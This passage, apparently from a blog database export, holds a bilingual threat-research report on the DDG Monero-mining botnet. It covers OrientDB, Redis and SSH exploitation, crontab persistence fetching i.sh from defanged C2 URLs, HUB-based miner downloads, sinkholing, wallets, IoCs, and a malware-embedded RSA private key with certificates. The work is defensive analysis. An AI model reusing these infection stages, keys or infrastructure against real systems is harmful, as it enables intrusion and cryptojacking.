\nQll6IFjNLSPOAaIwaWcQFXN/OlCPJZ7wvdo5aXFgVkvFplXogQiFLdKn3PgtDiNy \nEZct1/GgkYkgMTiymGrhXyj6/Eca28IsTydwU5h2fkkAIwnYpyeeEdcxsLmmFmfE \nG5x1mNsmUPnvMU7/qULmchVJ16pne06rNREApbuhm/XrhaDjphK8CNbUDWNXCWIR \nSKUl5bMoq5XnrvKc98kCAwEAATANBgkqhkiG9w0BAQsFAAOCAQEAg/G9vqIRz4rC \nniH49gSwFzBhH9tCXyBtHj86WMb2hi9myzFGE4joMhWp7OK3lwWq18kbukPk0TBz \nN9Mxrvvr0REBMPa1Q7VAq5ouFHw4WcIyzi1Ksw0SmFjaRCGqJTWQnG8lz+aIN8NX \n/i1KBWPbrnZGFfLdcKUmKrIXt6I3S1kb3jhJvlTOTjfr/iPlAMjVE9+tdgmy0Bsh\nMon9ctFwFj0sLhkcuyXU33ItkX5am2qmG7ToCoUj855JEm06T6PSakRLvodAsZfp \nJmto1aFjT/7HS5ImcOrd1WWXU76cSZN5GENRcsIzmA3pq6dVKFfSwsAOMw5zQcTS \nuDpcOCRjJg== \n-----END CERTIFICATE-----\n"}],["code",{"code":"-----BEGIN CERTIFICATE-----\nMIIC/DCCAeSgAwIBAgIJAK1DRcYUFowVMA0GCSqGSIb3DQEBCwUAMBMxETAPBgNV \nBAMMCHdlLWFzLWNhMB4XDTE3MDcxNzAxMzYyOFoXDTQ0MTIwMjAxMzYyOFowEzER \nMA8GA1UEAwwId2UtYXMtY2EwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB \nAQCz6Iaprhnb68CEPCJzU1uCplIMQWuMtpuamV/M4T1G0A0qPHLsCPbnS+psuSwK \nTnp3XBDEdTbhm33/FfLXeEfEmJlVX4lJfPk7XPT/UwgJ1OgGVegxNndPd+FQf1oX \n5ePSEmGZQRy9gkRQtCpSmO11AO8bbZY+WhHzvb3VQmu6rBAVCnzhPmBBlXsoyJfI \noRVX5FEwCMZXuKHVd2N/Q8XBEFX6TGICEAwSCu69QYG7eFMleLgCxFRJ1xOXfPvD \nx++depGUDpR9PrsTQ6Oh3BIicuWHfj72tiooVW1mGG8yAqDfb1kBa5gq8jZM13Nx \ngK0aRbZiJFreFj8Ed05LlPdnAgMBAAGjUzBRMB0GA1UdDgQWBBRL9zCbPXsgyxFe \noZYZtZmjvAyqbDAfBgNVHSMEGDAWgBRL9zCbPXsgyxFeoZYZtZmjvAyqbDAPBgNV \nHRMBAf8EBTADAQH/MA0GCSqGSIb3DQEBCwUAA4IBAQBFne95zt54uyUn2ZtdUUHH \nOh3ODsCx+hL4DWsyaVa1l9PTW1es58+VGPFr4JYKj5DDj1FebYW/k0DAt6G4ehVg \npfYW23lYbwfbs1gFKaUVX1gb0U0BsLlXGJ5dVlnY09Z3RGZ1nf0U6VgTbleDc/M6 \nCax7dvyn2a+2BJLxl3QCUVye6PJw33Hjjl8xfMTEv3RKoxeYP0Prgrmmg/gmr7hs \ndoWJBMflCWmwZJKhtdYAKMkFnprNH4h8ryqsWeO928ZHbHbxej15Rv9BjXIg4XnF \ntEIvhZUJ3tj4OvK8X6hJf0ZsI/3H1ffvTHyIX4UnYgGqMFlHSBXMhOIiXed6+xsP \n-----END CERTIFICATE-----\n"}],["code",{"code":"-----BEGIN RSA PRIVATE KEY-----\nMIIEowIBAAKCAQEA3XD2zu7UGtBLEkSSoKQkuX6qfDhc8v4aAKKayjpZa+J7yCvc \nAWJINQUxWxs46UZVckMIBphK3DpaSfT1yMBzM1b1iyrgQ66ukaYIN1WJ+277nO7Z \nmbPzynX+1rcG7K1CV8RCWXogWM0tI84BojBpZxAVc386UI8lnvC92jlpcWBWS8Wm \nVeiBCIUt0qfc+C0OI3IRly3X8aCRiSAxOLKYauFfKPr8RxrbwixPJ3BTmHZ+SQAj \nCdinJ54R1zGwuaYWZ8QbnHWY2yZQ+e8xTv+pQuZyFUnXqmd7Tqs1EQClu6Gb9euF \noOOmErwI1tQNY1cJYhFIpSXlsyirleeu8pz3yQIDAQABAoIBAQCTltbo1QVJWcqv \nQkT4DG7tsx6t7GMHEZUDF11Tq9Att6YIpDLeOUMnE27x6hLkZ5xLq6GNw7MhVUMY \nR8wJITum3C6LsugGNEbljGOtfbWZfz70Ob2OVAIIztwq/5H97PxqwsP2Hw+wIBAV \n7RfpoZqetnmVoRac2suYQ5xF9j3w8acpCZdU2jCvbMNADdOtCkXBXcD9nGU0d9dN \nZ+qajp7otDw1DbQ381x6YDEu0g9CJhXdVfqK0skOs9KTrATxLBw4u6UmIP7fNAoH \np9OXzp6gzzl4mLR05SWm1pcjuoqxL88wIPYtcfKo8Z4CxZhx2oPTiQ0JUiVHUvPh \nOZwu2GSBAoGBAPFscPODr2H4dFFKK6uYb2ZRY6WSOiL31o1LCZ3a4lDJS7fvncZK \nOiyG/RQIt0k68UQHNxte0VOHiaGqCaHlfikS/KN5WyQeaRmH+MKxp+atGvKXmURV \n+uWK37GCIDzqTDPtu9UiAxQOOJQZCvGh40lc35v2aJGKpkD4+IaEDpDXAoGBAOrP\nqpei2+DtwougNA9FTxS3Z34NCCIHT0rqoogZZirMy6M7LnUoWAgMIUjpENK7uxma \nnNEWagv5XrLmFbjC/UaTF5BR9CrX0orto2CNA2upN+7Y6wNnB1ed7sjLubDEPNXv \nJeZsoz4G7TDq9oXE54a8idFVePn8q1RdRvHOdYhfAoGAbMgqFO+vJPvonYBIMSec \neoQN3FsJKxx1ZnD7Qk+QTkqFfbnQY7qqf8nLWy2aOLsAX2DI6eJNe8/Eqj2N3Y8k \ny6ksgRR7hsjVHpXv9vpJ51z0mX7Jpsr/JFLw/HDfydLgxz1Ft4F91Zma0NB/5+TE \nHxhkAUiEUaAhzYDhquryDT0CgYAP0YOdiYQkh//mJhm7uaCVNbHMJRaaLEHkOyBN \n6OAgHAHP8kmz7M7ZY+/OGJ1ghPMay3arA0aLnfYKOUPXWZN0cK5Ss6KuTDHL2Cx8 \ncaN8Wj8BYS2b4hH1jhcrAcZ1qRKsGttDxafNouvRstJ+uoAabJMgPhDTTnlASrRf \nz9fNIwKBgCM3UzxVsRyoYx7rpCQ7QSX6SHsM0cNjWDRw5aMziQmyI+sitwOPAVek \nO+XvIXIzdahNBhQQ0giFKWh/b7fq2aNB1J+5TtAcEFTFFk9LC3l/U7Mk0nhUsh6G \npEcsRlnc4GpFeelJtj/c1BHBbX7HSdB8osk3GDyUwX1KVlbxZ4dk \n-----END RSA PRIVATE KEY-----"}]],"markups":[["strong"],["a",["href","__GHOST_URL__/mykings-the-botnet-behind-multiple-active-spreading-botnets/"]],["a",["href","https://monero.crypto-pool.fr/"]],["a",["href","https://blogs.securiteam.com/index.php/archives/3318"]],["a",["href","__GHOST_URL__/file/ip_hublist__2011.txt"]],["a",["href","__GHOST_URL__/file/ip_hublist__2020.txt"]]],"sections":[[1,"p",[[0,[],0,"Starting 2017-10-25, we noticed there was a large scale ongoing scan targeting the OrientDB databases. Further analysis found that this is a long-running botnet whose main goal is to mine Monero CryptoCurrency. We name it "],[0,[0],1,"DDG.Mining.Botnet"],[0,[],0," after its core function module name DDG."]]],[1,"p",[[0,[],0,"Currently we are able to confirm that the botnet has mined more than "],[0,[0],1,"3,395 Monroe coins"],[0,[],0,", equivalent to "],[0,[0],1,"USD 925,383"],[0,[],0," at current prices. In addition, there is another 2,428 XMRs (equivalent to USD 661,759) we have yet to fully confirm due to the mining pool's payment record issue. This makes DDG by far the second largest Monroe related botnet we have seen, just behind the "],[0,[1],1,"MyKings Botnet"],[0,[],0," we reported earlier."]]],[1,"p",[[0,[],0,"DDG code appears at least late in 2016 and is continuously updated throughout 2017."]]],[1,"p",[[0,[],0,"DDG uses a C2 and HUB layout to communicate with its clients. The HUB is a set of IPs and domain names that are used to provide Miner program for the compromised clients to download."]]],[1,"p",[[0,[],0,"It is worth noting that we were able to successfully register and sinkhole two domain names used by its v2011 version, thus we were able to have a good understanding of the size of the entire DDG botnet based on Sinkhole data."]]],[1,"h4",[[0,[0],1,"DDG Mining Botnet Total Incoming"]]],[1,"p",[[0,[],0,"DDG uses the following mine pool:"]]],[3,"ul",[[[0,[2],1,"https://monero.crypto-pool.fr/"]]]],[1,"p",[[0,[],0,"Three wallet addresses have been used, as follows:"]]],[3,"ul",[[[0,[0],1,"Wallet #1"],[0,[],0," 4AxgKJtp8TTN9Ab9JLnvg7BxZ7Hnw4hxigg35LrDVXbKdUxmcsXPEKU3SEUQxeSFV3bo2zCD7AiCzP2kQ6VHouK3KwnTKYg"]],[[0,[0],1,"Wallet #2"],[0,[],0," 45XyPEnJ6c2STDwe8GXYqZTccoHmscoNSDiTisvzzekwDSXyahCUmh19Mh2ewv1XDk3xPj3mN2CoDRjd3vLi1hrz6imWBR1"]],[[0,[0],1,"Wallet #3"],[0,[],0," 44iuYecTjbVZ1QNwjWfJSZFCKMdceTEP5BBNp4qP35c53Uohu1G7tDmShX1TSmgeJr2e9mCw2q1oHHTC2boHfjkJMzdxumM"]]]],[1,"p",[[0,[],0,"Among them, Wallet#3 was the first wallet address been used, most active between the time period 2017-02~2017-03; then followed by Wallet#1, been used most of the 2017; Wallet#2 is a recent active one first seen on 2018-01-03."]]],[1,"p",[[0,[],0,"The pool allows us to check the payment record of the wallets. The income of all three wallets is shown in the following table. The total income is Monroe 3,395 or 5,760. These tokens are worth USD 925,383 or 1,569,963 today. Note: There is an issue for the second wallet, where \"Total Paid\" is not consistent with the summary of all tractions' amount. We cannot confirm which number is more accurate, so we show both numbers here."]]],[10,0],[1,"h4",[[0,[0],1,"DDG Mining Botnet Workflow"]]],[1,"p",[[0,[],0,"By analyzing the sample and its behavior, we can characterize the DDG Mining Botnet attack as follows:"]]],[10,1],[1,"p",[[0,[],0,"In the picture above, DDG Mining Botnet attack process can be divided into several stages:"]]],[3,"ul",[[[0,[0],1,"Initial Scanning"],[0,[],0,": The attacker (ss2480.2) exploits the known RCE vulnerability of the OrientDB database and drops the attack payload"]],[[0,[0],1,"Stage 1"],[0,[],0,": Attackers modify local Crontab scheduled tasks, download and execute i.sh (hxxp: //218.248.40.228:8443/i.sh) on the primary server and keep it synchronized every 5 minutes"]],[[0,[0],1,"Stage 2"],[0,[],0,": DDG traverses the built-in file "],[0,[0],1,"hub_iplist.txt"],[0,[],0,", check the connectivity of every single entry and try to download the corresponding Miner program wnTKYg from the one can be successfully connected (wnTKYg.noaes if the native CPU does not support AES-NI)"]],[[0,[0],1,"Mining Stage"],[0,[],0,": The Miner program begins to use the computing resources of the compromised host to begin mining for the attacker's wallet."]]]],[1,"p",[[0,[],0,"The "],[0,[0],1,"HUB"],[0,[],0," used in the second phase is a very interesting design. The attacker goes over all IPs and domain names written in the HUB file to download the mining program, so as to avoid the possible blocking caused by using a single download server. We observe that DDG operators update the IP and domain names of these HUB from time to time, and most of these ips and domains are hacked boxes. See the entire HUB list at the end."]]],[1,"p",[[0,[],0,"In v2011, somehow two domain names out of three on the list were left unregistered, so we went ahead and registered them, as follows."]]],[3,"ul",[[[0,[],0,"defaultnotepad567[.]com"]],[[0,[],0,"unains1748[.]com unregistered"]],[[0,[],0,"5dba35bsmrd[.]com unregistered"]]]],[1,"p",[[0,[],0,"Below we will introduce the DDG botnet C2s, HUB, and Bot respectively."]]],[1,"h4",[[0,[0],1,"The C2s"]]],[1,"p",[[0,[],0,"The DDG botnet uses the following C2 to maintain control of the device:"]]],[3,"ul",[[[0,[],0,"202.181.169.98:8443/i.sh"]],[[0,[],0,"218.248.40.228:8443/i.sh"]]]],[1,"p",[[0,[],0,"The first C2 was only used by this botnet briefly. And the second C2 has been pretty much the only active C2 for the last two years."]]],[1,"h4",[[0,[0],1,"The HUB and Our Sinkhole"]]],[1,"p",[[0,[],0,"DDG botnet uses "],[0,[0],1,"HUB_IP: 8443\\wnTKYg"],[0,[],0," to provide miner program. The detailed list of the two versions of HUB we monitored is given in the IoC section at the end of this article. The country distribution is shown in the following table. Most of the victims can be seen in China."]]],[10,2],[1,"p",[[0,[],0,"As we mentioned before, DDG bot will go over and check connectivity of every single one of the IPs and domain names on the hub list, which means we were able to get a very accurate infected clients list by sinkhole the above two domains."]]],[1,"p",[[0,[],0,"The DDG operators noticed this after about 20 days and subsequently released an updated version of DDG code that replaced all IPs and domain names, including our Sinkholed domains. But the time is long enough for us to have some good measurement of this botnet."]]],[1,"h4",[[0,[0],1,"Use Sinkhole Data to Measure DDG Mining Botnets"]]],[1,"p",[[0,[0],1,"From the sinkhole data, we recorded a total of 4,391 IP addresses of victims from all countries, with the most prominent victims being China (73%) and the United States (11%)"],[0,[],0,":"]]],[10,3],[10,4],[1,"p",[[0,[],0,"And the following diagram shows the overall trend of the victim's DNS requests for the above two domains."]]],[10,5],[1,"p",[[0,[],0,"To avoid abuse, the list of all victims IP is not made public."]]],[1,"h4",[[0,[0],1,"A DNSMon Perspective"]]],[1,"p",[[0,[],0,"Our DNSMon is also aware of these three domain names, the traffic access patterns of these 3 domains match very well as can be seen from the first diagram:"]]],[10,6],[1,"p",[[0,[],0,"And the second diagram show that these 3 domains have very strong correlations."]]],[10,7],[1,"h3",[[0,[0],1,"DDG Mining Botnet Attack Process Breakdown"]]],[1,"h6",[[0,[],0,"Initial Scanning"]]],[1,"p",[[0,[],0,"The scanning and intrusion phase of DDG Mining Botnet is done by sample ss2480.2. The ss2408.2 scans port 2480 and then uses the OrientDB RCE Vulnerability "],[0,[3],1,"CVE-2017-11467"],[0,[],0," to implement the intrusion."]]],[1,"p",[[0,[],0,"ss2480.2 will first scan the internal network, and then scan the public network segment. The internal target IP ranges are:"]]],[3,"ul",[[[0,[0],1,"10.Y.x.x/16"],[0,[],0," (Y is the value of the current intranet IP B segment)"]],[[0,[0],1,"172.16.x.x/16"]],[[0,[0],1,"192.168.x.x/16"]]]],[10,8],[1,"p",[[0,[],0,"After the internal networks scan, ss2480.2 visits hxxp://v4.ident.me to get a public IP address of the current host WAN_IP , then using "],[0,[0],1,"WAN_IP/8"],[0,[],0," to generate public Target IP ranges. All the reserved address segments will be filtered:"]]],[10,9],[10,10],[10,11],[1,"h6",[[0,[],0,"Stage 1"]]],[1,"p",[[0,[],0,"Here is the main configuration URL of DDG, the IP 218.248.40.228 is located in India, AS9829:"]]],[3,"ul",[[[0,[0],1,"hxxp://218.248.40.228:8443/i.sh"]]]],[1,"p",[[0,[],0,"This "],[0,[0],1,"i.sh"],[0,[],0," has changed many times, but the content is more or less the same, below is an early version, with following main functions:"]]],[3,"ul",[[[0,[],0,"Synchronize local Crontab with i.sh from the C2 server"]],[[0,[],0,"Download and execute DDG sample from the C2 server"]],[[0,[],0,"Check and clear the old version of the local DDG process"]]]],[10,12],[1,"p",[[0,[],0,"The "],[0,[0],1,"i.sh"],[0,[],0," script gives attacker very flexible control to deliver any malicious software to the compromised host. And we did see this file change from time to time to serve new Trojan files or to deliver malware that incorporates new attacks. For example:"]]],[3,"ul",[[[0,[0],1,"DDG Samples"],[0,[],0,": the ddg.$(uname -m) series. This the long-run payload, we have seen three version, V2011, V2020 and V2021"]],[[0,[0],1,"ss22522 Samples"],[0,[],0,": Only work for a short period, against the Struts2 vulnerability S2-052"]],[[0,[0],1,"ss2480 Samples"],[0,[],0,": Also for a short period too, against OrientDB RCE. This is the very sample exposed DDG to us"]]]],[1,"p",[[0,[],0,"By the way there is an issue in early version of "],[0,[0],1,"i.sh"],[0,[],0,", where a \"xargs\" is missing just ahead of 'kill' command, so the older process will not get killed as intended. This issue is fixed in later version."]]],[1,"p",[[0,[],0,"On 2018.1.3, the attacker pushed out the newest version of i.sh (v2021.2), adding another mining process imWBR1 , which uses the second XMR wallet listed earlier:"]]],[10,13],[1,"h6",[[0,[],0,"Stage 2"]]],[1,"p",[[0,[],0,"At this phase, DDG tries to test all the hosts in the hub_iplist.txt, and if success DDG will visit "],[0,[0],1,"hxxp://hub_ip:8443/wnTKYg"],[0,[],0," to download and execute the corresponding program wnTKYg Miner (if the native CPU does not support AES-the NI , it will download wnTKYg.noaes)."]]],[1,"p",[[0,[],0,"All the ddg.xxx and ss2480.xxx were written in Golang. DDG communicate to the HUB with a third party Golang Stream Multiplexing library Smuxcompleted. The default Smux configuration is been used."]]],[10,14],[1,"p",[[0,[],0,"So after DDG downloads Miner from the HUB and starts to KeepAlive, it sends 2 packets to the connected HUB IP every 10s:"]]],[10,15],[1,"h3",[[0,[0],1,"The Built-in Hub_iplist.txt"]]],[1,"p",[[0,[],0,"The original "],[0,[0],1,"DDG sample download URL"],[0,[],0," is hxxp://218.248.40.228:8443/2011/ddg.$(uname -m), as written in i.sh. There are 158 hub_ip:8443 and 3 hub_domain:8443 listed in the hub_iplist, two of which are unregistered and then registered by us."]]],[1,"p",[[0,[],0,"On 2017-11-10 We found that there is a change in the contents of i.sh file, ddg sample download link has changed to hxxp://218.248.40.228:8443/2020/ddg.$(uname -m). The attacker replaced all HUP IPs and domain names including ours. The latest contents of hub_iplist.txt can be seen at the bottom of this blog ip_hublist (v2020 ~ v2021) ."]]],[1,"h3",[[0,[0],1,"DDG Mining Botnet Also Targeted Redis Database and SSH Service"]]],[1,"p",[[0,[],0,"The above analysis focuses on the OrientDB exploit (ss2480 series)."]]],[1,"p",[[0,[],0,"In fact, the DDG samples also target SSH and Redis services as well, which are another two major methods used by DDG to compromise vulnerable hosts. Some of the related functions and the password dictionary are shown in the following two figures:"]]],[10,16],[10,17],[1,"p",[[0,[],0,"The victim is also implanted with the X509 key files. Three key files built into the sample are as follows, details at the end of the article:"]]],[3,"ol",[[[0,[],0,"slave.pem"]],[[0,[],0,"ca.pem"]],[[0,[],0,"slave.key"]]]],[1,"p",[[0,[],0,"Looking at historical data, we can also see the i.sh host "],[0,[0],1,"218.248.40.228"],[0,[],0," scanning the Redis database early on. A google search turned up some posts complaining their server was infested with ddg botnet. The following diagram shows the ports that were scanned by 218.248.40.228 between 2017-09-27 20:00:00 ~ 2017-10-25 11:00:00. Port"],[1,[],0,0],[0,[],0,"6379, 7379 and 2480 represents Redis, Redis (Replicas) and OrientDB:"]]],[10,18],[1,"h3",[[0,[0],1,"One more thing"]]],[1,"p",[[0,[],0,"Starting from 2018.1.25 at 21 o'clock (GMT+8), we saw another update of this botnet, with link hxxp://218.248.40.228:8443/2011/ddg.x86_64, and this time it deliveries a Mirai family sample."]]],[3,"ul",[[[0,[0],1,"Family"],[0,[],0," : mirai"]],[[0,[0],1,"C2"],[0,[],0," : linuxuclib.com:8080"]],[[0,[0],1,"C2"],[0,[],0," : jbeupq84v7.2y.net, no IP address associated yet"]],[[0,[0],1,"MD5"],[0,[],0," : cbc4ba55c5ac0a12150f70585af396dc"]]]],[1,"h3",[[0,[0],1,"IoC"]]],[1,"p",[[0,[],0,"C2:"]]],[10,19],[1,"p",[[0,[],0,"Samples' MD5:"]]],[10,20],[1,"p",[[0,[],0,"Sample Downloading URL"]]],[10,21],[1,"p",[[0,[],0,"ip_hublist(v2011): "],[0,[4],1,"ip_hublist__2011.txt"]]],[1,"p",[[0,[],0,"ip_hublist(v2020~v2021): "],[0,[5],1,"ip_hublist__2020.txt"]]],[1,"p",[[0,[],0,"Three Key files"]]],[1,"p",[[0,[],0,"slave.pem"]]],[10,22],[1,"p",[[0,[],0,"ca.pem"]]],[10,23],[1,"p",[[0,[],0,"slave.key"]]],[10,24]],"ghostVersion":"3.0"} | 60961c1e3819e50007633d5e |
post | null | 2021-05-08T05:06:30.000Z | 63873b9a8b1c1e0007f52fce | ddg-mining-botnet-yi-ge-miao-zhun-shu-ju-ku-fu-wu-qi-de-wa-kuang-jiang-shi-wang-luo | 0 | 2021-05-08T05:07:03.000Z | public | published | null | 2018-02-01T05:06:00.000Z | DDG.Mining.Botnet：一个瞄准数据库服务器的挖矿僵尸网络 | <p>从 2017-10-25 开始，我们监控到有恶意代码在大规模扫描互联网上的 OrientDB 数据库服务器。进一步的分析发现，这是一个长期运营的僵尸网络，其主要目标是挖取门罗币（XMR，Monero CryptoCurrency）。我们将其命名为 <strong>DDG 挖矿僵尸网络</strong> （DDG Mining Botnet，以下简称 DDG） ，主要原因是因为其核心功能模块的名称为 DDG。</p><p>DDG 累积挖取的门罗币数目较大。目前我们能够确认该僵尸网络累积挖取的已经超过 <strong>3,395枚门罗币</strong>，按当前价格折合<strong>人民币 ￥5,821,657</strong> 。另外因为矿池记账系统的问题，有2,428枚 XMR不能完全确认是否归属 DDG，按当前价格折合人民币 ￥4,163,179。DDG 是目前我们视野范围内门罗币收益第二大的僵尸网络，第一大的是我们之前报告的 <a href="__GHOST_URL__/mykings-the-botnet-behind-multiple-active-spreading-botnets/">MyKings</a> 僵尸网络。</p><p>DDG 的结构上，除了僵尸网络中常见的 C2 和 bot，还有一个很有意思的 HUB 的设定。HUB 是一组 IP或者域名，用来提供挖矿二进制程序的下载。在 DDG 持续的更新过程中，其 v2011 版本的 HUB 列表中，有两个域名被列出但是未被注册，我们抢先注册并Sinkhole了这两个域名。虽然我们不可以通过这两个域名 Sinkhole 来接管该僵尸网络，但是可以基于 Sinkhole 数据对整个 DDG 僵尸网络的规模做一个精确的度量。</p><h4 id="ddg-mining-botnet-"><strong>DDG Mining Botnet 的挖矿收益</strong></h4><p>DDG 在挖矿时使用如下矿池地址：</p><ul><li><a href="https://monero.crypto-pool.fr/">https://monero.crypto-pool.fr/</a></li></ul><p>其使用的钱包地址有三个，如下：</p><ul><li><strong>Wallet #1</strong> 4AxgKJtp8TTN9Ab9JLnvg7BxZ7Hnw4hxigg35LrDVXbKdUxmcsXPEKU3SEUQxeSFV3bo2zCD7AiCzP2kQ6VHouK3KwnTKYg</li><li><strong>Wallet #2</strong> 45XyPEnJ6c2STDwe8GXYqZTccoHmscoNSDiTisvzzekwDSXyahCUmh19Mh2ewv1XDk3xPj3mN2CoDRjd3vLi1hrz6imWBR1</li><li><strong>Wallet #3</strong> 44iuYecTjbVZ1QNwjWfJSZFCKMdceTEP5BBNp4qP35c53Uohu1G7tDmShX1TSmgeJr2e9mCw2q1oHHTC2boHfjkJMzdxumM</li></ul><p>其中，Wallet #3 是最先开始活跃的钱包地址，高峰期在 2017.02～2017-03；随后是 Wallet #1，持续了2017一整年； Wallet #2 是最近出现的，我们首次观察到的时间是 2018-01-03。</p><p>全部三个钱包的收入如下表所示，共计收入 3395 或者 5760 的门罗币，这些代币今天价值人民币 <strong>580万</strong> 或者 <strong>980万</strong>。注意：在第二个钱包付费记录中，"Total Paid"与逐笔交易累积得到的 "Amount Summary" 并不一致，我们无从确认哪个数字更准确，因此把两个数字都记录了下来。</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2018/01/ddg_total_incoming.png" class="kg-image" alt loading="lazy"></figure><h4 id="ddg-mining-botnet--1"><strong>DDG Mining Botnet 的攻击阶段和结构划分</strong></h4><p>通过分析样本及其行为，我们能够描绘 DDG Mining Botnet 的攻击过程如下：</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2017/11/atk_process.png" class="kg-image" alt loading="lazy"></figure><p>上图中，DDG Mining Botnet 的攻击过程可以分为几个阶段：</p><ul><li><strong>扫描阶段</strong>：攻击者（ ss2480.2 ）利用 OrientDB 数据库的已知 RCE 漏洞，投入攻击载荷；</li><li><strong>第一阶段</strong>：攻击者修改本地 Crontab 定时任务，下载执行主要服务器上的 i.sh ( hxxp://218.248.40.228:8443/i.sh) ，并保持每 5 分钟同步。此 i.sh 会继续从同一服务器上下载运行 ddg 样本</li><li><strong>第二阶段</strong>：ddg 会依次连接内置 <strong>hub_iplist.txt</strong> 文件里的 hub_ip，然后从可以成功连接的 hub_ip 上下载对应的 Miner 程序 wnTKYg（如果本机 CPU 不支持 AES-NI，还会下载 wnTKYg.noaes）。这个程序的命名，恰好是其钱包地址的尾部。</li><li><strong>挖矿阶段</strong>：Miner 程序开始与矿池通信，利用失陷主机的计算资源，为攻击者的钱包开始挖矿。</li></ul><p>上述结构中，除了僵尸网络中常见的 C2 和 bot 以外，还有一个很有意思的 <strong>HUB</strong>。攻击者使用 HUB 上的多个IP或者域名来提供挖矿程序的下载。我们观察到 DDG 运营者会不时更新这些 HUB 的IP和域名，来源大部分是失陷主机。全部的 HUB 列表见文末。</p><p>关于这个 <strong>HUB</strong> 另一个有意思的地方，是我们注意到 v2011 版本中三个域名中的两个在当时是未注册的，如下。这两个域名被我们注册并 Sinkhole，后来我们意识到，我们可以通过这两个 HUB Sinkhole 上的到的数据来精确度量整个 DDG 僵尸挖矿网络。</p><ul><li>defaultnotepad567[.]com</li><li>unains1748[.]com 未注册</li><li>5dba35bsmrd[.]com 未注册</li></ul><p>下面我们分别介绍 DDG 僵尸网络的 C2， HUB， 和 Bot。其中 Bot 部分的数据，会使用来自Sinkhole 的数据。</p><h4 id="ddg-c2"><strong>DDG 僵尸网络的 C2</strong></h4><p>DDG 僵尸网络使用如下 C2 保持对设备的长期控制：</p><ul><li>202.181.169.98:8443/i.sh</li><li>218.248.40.228:8443/i.sh</li></ul><p>其中后者来自印度，AS9829，一直在使用，两年来没有变过；前者来自香港，AS7540，仅在早期短暂使用。</p><h4 id="ddg-hub-hub-sinkhole"><strong>DDG 僵尸网络的 HUB，以及我们的 HUB Sinkhole</strong></h4><p>DDG 僵尸网络使用 <strong>HUB_IP:8443\wnTKYg</strong> 提供挖矿程序下载。我们监控到的两个版本的 HUB 详细列表见文末 IoC 部分，其国家分布如下表所示。可见大部分受害者位于中国。</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2018/02/hub_asn.png" class="kg-image" alt loading="lazy"></figure><p>如前所述，我们在监控其 v2011 版本的时候，发现其中两个域名没有注册，unains1748[.]com 和 5dba35bsmrd[.]com 。我们注册了这两个域名，合并到我们的 Sinkhole 池中，并几乎立刻看到有 IP 开始连接这两个域名，后来我们确认来连接的这些 IP 均是被 DDG 感染的主机。</p><p>这样至少我们可以利用 HUB Sinkhole 来度量 DDG 的规模。那么，我们的 Sinkhole 能看到 DDG 僵尸网络的多大部分呢，是盲人摸象看到一部分？还是全部？</p><p>我们仔细检查了 DDG 的运行机制，并且确认无论被感染的 bot 最终从 HUB 上的哪个部分下载挖矿程序，这些 bot 都会检查 HUB 上的全部 IP 和域名的连通性。这意味着，我们可以 <strong>看到 DDG 全部的被感染设备</strong>，并进一步利用这些数据对 DDG 僵尸网络做精确的度量。</p><p>可惜的是，我们注册 Sinkhole 的行动被 DDG 运营者发现了，他们随后发布了 DDG 的更新版本，更新了全部的 HUB IP列表，将我们的 Sinkhole 从僵尸网络内部踢了出来。</p><p>另外一方面，从 bot 的代码逻辑来看，创造合适的条件，会使得被感染的 bot 尝试从我们的 sinkhole 下载并运行挖矿程序....嗯，这个话题我们就讨论到这里，白帽子一定要带头做遵纪守法的好公民。</p><h4 id="ddg-bot"><strong>DDG 僵尸网络的 Bot</strong></h4><p>我们可以使用 HUB Sinkhole 的数据来精确度量 DDG 僵尸网络的感染规模。为避免滥用，全部受害者 IP 列表不会公开。</p><p>我们共记录了4391 个受害者IP地址，来自各个国家，最主要的受害者集中在中国(73%)和美国(11%)：</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2018/01/sinkhole_ip_geo.png" class="kg-image" alt loading="lazy"></figure><p>从网络自治域分布来看，国内各主要云计算服务商均有出现，国外若干互联网巨头公司也有少量中招。总体来看，因为 DDG 投入时是利用数据库服务器的错误配置或者漏洞利用，云服务厂商既往确实不容易防范。建议后续云服务厂商考虑加强这方面的防御措施。</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2018/01/sinkhole_ip_asn.png" class="kg-image" alt loading="lazy"></figure><p>受害者一段时间内对上述 2 个域名的 DNS 请求趋势如下。尾部曲线快速下降，对应僵尸网络运营者更新版本的时段。</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2018/01/bot_dns_query_trend.png" class="kg-image" alt loading="lazy"></figure><h4 id="-dnsmon-"><strong>利用 DNSMon 感知这三个域名的异常访问</strong></h4><p>我们的 DNSMon 也感知到了这三个域名的异常，下面两张图分别展示这三个域名流量访问曲线高度拟合，并且在访问时序上有强烈的相关性：</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2017/11/3_related_domain.png" class="kg-image" alt loading="lazy"></figure><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2017/11/2_related_domain.png" class="kg-image" alt loading="lazy"></figure><h3 id="ddg-mining-botnet--2"><strong>DDG Mining Botnet 攻击过程详细剖析</strong></h3><h6 id="-">扫描</h6><p>DDG Mining Botnet 的扫描和入侵阶段由样本 ss2480.2 完成。ss2408.2 首先会根据一定策略生成 Target IP 并扫描 Target IP 的 2480 端口，最后会利用 OrientDB 的 RCE 漏洞 <a href="https://blogs.securiteam.com/index.php/archives/3318">CVE-2017-11467</a> 实施入侵。</p><p>ss2480.2 会先扫描内网网段，然后扫描公网网段。生成的内网网段 Target IP 范围如下：</p><ul><li>10.Y.x.x/16 (Y 为当前内网 IP B 段的值)</li><li>172.16.x.x/16</li><li>192.168.x.x/16</li></ul><p>样本中生成内网 Target IP 的部分代码如下：</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2017/11/scantarget_lan.png" class="kg-image" alt loading="lazy"></figure><p>结束对内网的扫描之后，ss2480.2 会访问 hxxp://v4.ident.me 获取当前主机的公网 IP 地址 <strong>WAN_IP</strong> ，然后在 <code>WAN_IP/8</code> 范围内生成公网 Target IP 发起扫描。样本中生成公网 Target IP 时，会过滤掉保留地址段：</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2017/11/scantarget_wan.png" class="kg-image" alt loading="lazy"></figure><figure class="kg-card kg-image-card"><img 